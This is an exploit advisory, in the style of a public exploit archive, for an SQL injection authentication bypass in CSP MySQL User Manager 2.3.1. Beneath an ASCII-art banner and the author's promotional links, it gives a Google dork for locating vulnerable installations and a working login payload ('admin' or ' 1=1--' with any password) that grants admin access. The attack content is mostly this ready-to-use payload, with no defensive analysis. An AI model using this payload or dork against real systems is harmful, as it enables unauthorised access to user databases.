CSP MySQL User Manager 2.3.1 SQL Injection

`# Exploit Title: CSP MySQL User Manager v2.3.1 SQL Injection Authentication Bypass  
# Google Dork: intitle:"CSP MySQL User Manager"  
# Date: 04/05/2018  
# Exploit Author: Youssef mami  
# Vendor Homepage: https://code.google.com/archive/p/cspmum/  
# Software Link: https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/cspmum/cmum-231.zip  
# Version: 2.3.1  
# Tested on: Linux 2.6.38-11  
# CVE : nothing   
##################################################################################  
.__ __   
| |__ _____ _____ _____ _____ _____ _____/ |_   
| | \\__ \ / \ / \\__ \ / \_/ __ \ __\  
| Y \/ __ \| Y Y \ Y Y \/ __ \| Y Y \ ___/| |   
|___| (____ /__|_| /__|_| (____ /__|_| /\___ >__|   
\/ \/ \/ \/ \/ \/ \/   
.__ _____ __ .__   
|__| _____/ ____\___________ _____ _____ _/ |_|__| ________ __ ____   
| |/ \ __\/ _ \_ __ \/ \\__ \\ __\ |/ ____/ | \_/ __ \   
| | | \ | ( <_> ) | \/ Y Y \/ __ \| | | < <_| | | /\ ___/   
|__|___| /__| \____/|__| |__|_| (____ /__| |__|\__ |____/ \___ >  
\/ \/ \/ |__| \/   
.__   
______ ______________ _|__| ____ ____ ______  
/ ___// __ \_ __ \ \/ / |/ ___\/ __ \ / ___/  
\___ \\ ___/| | \/\ /| \ \__\ ___/ \___ \   
/____ >\___ >__| \_/ |__|\___ >___ >____ >  
\/ \/ \/ \/ \/   
  
  
##################################################################################   
SQL Injection Authentication Bypass  
Product Page: https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/cspmum/cmum-231.zip  
  
Author(Pentester): Youssef mami ([email protected])  
On Web: www.hammamet-services.com and http://hiservices.blogspot.com ( our blog )  
On Social: www.facebook.com/hammamet.informatique and https://twitter.com/hammamet_info  
##################################################################################  
we just need to input admin login like this : admin' or ' 1=1-- and any password :-)   
login : admin' or ' 1=1--  
password: hammamet informatique services  
  
`